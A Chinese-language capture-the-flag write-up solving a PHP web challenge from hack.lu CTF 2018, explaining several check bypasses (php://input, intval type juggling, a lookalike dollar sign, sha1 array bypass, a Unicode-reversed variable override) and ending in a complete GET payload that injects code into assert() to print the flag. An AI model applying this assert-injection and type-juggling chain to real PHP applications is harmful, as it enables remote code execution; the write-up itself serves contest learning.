hacklu CTF 2018
闲来无事,打开hacklu,开始做(发)题(呆)!,web狗是没出路了。
贴下源码
1 |
|
1.file_get_contents
- 看到file_get_contents,想到用php://input
2.intval(\$k1) !== \$cc || \$k1 === $cc
- 这句的意思是原来的k1不等于cc,执行intval()后的k1要与cc相等
- 所以让传入的key1(即k1)为1337.1即可
3.巨坑来了
再贴下代码:
1
2
3
4
5
6
7if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}注意这个美元符号!!!!我们正则的美元符号是这样的:$,题目里的是这样的:$,说明是要以字母开头最后以$结尾!!!!,而不是k2中只能出现数字!
又长度要为42,因此构造key2=000000000000000000000000000000000001337$(这里卡了很久,一直在想怎么绕过,发现美元符号这个坑,暴打出题人!)
4.数组绕过、变量覆盖
1 | if(substr($cc, $bb) === sha1($cc)){ |
此处将截取CC的42位与sha1加密后的CC作比较,因为第3点绕过后可给cc重新赋值,因此可用数组绕过:
cc[]=123
此处要进行变量覆盖的原因是:
- 看后面的代码:
1
2
3
4
5
6$b = "2";$a="b";//;1=b
//$b="2";$a="b";//;$b=1;
if($$a !== $k1){
die("lel no\n");
}- 这里也是一个巨坑的点,首先
$b=1;//;"b"=a$;"2"=b
此行并非是题目的源码,真正的源码是我注释的那行。将鼠标一上去会发生很奇怪的事。查看源代码,发现他是反过来的??? - 简直了,所以\$a=”b”,\$b=”2” ,$$a=$b=”2”,因此我们重新传入k1,让k1等于2即可
- 构造:
k1=2
,原理是:\$lel=k1,\$k1=2, \$\$lel==>$k1==>2
5. RCE
1 | assert("$bb == $cc"); |
- 最后构造
bb = print_r($flag);#
,将flag打印在页面上。
6.payload
- 综上,payload为:
msg=php://input&key1=1337.1&key2=000000000000000000000000000000000001337$&cc[]=123&k1=2&bb=print_r($flag);#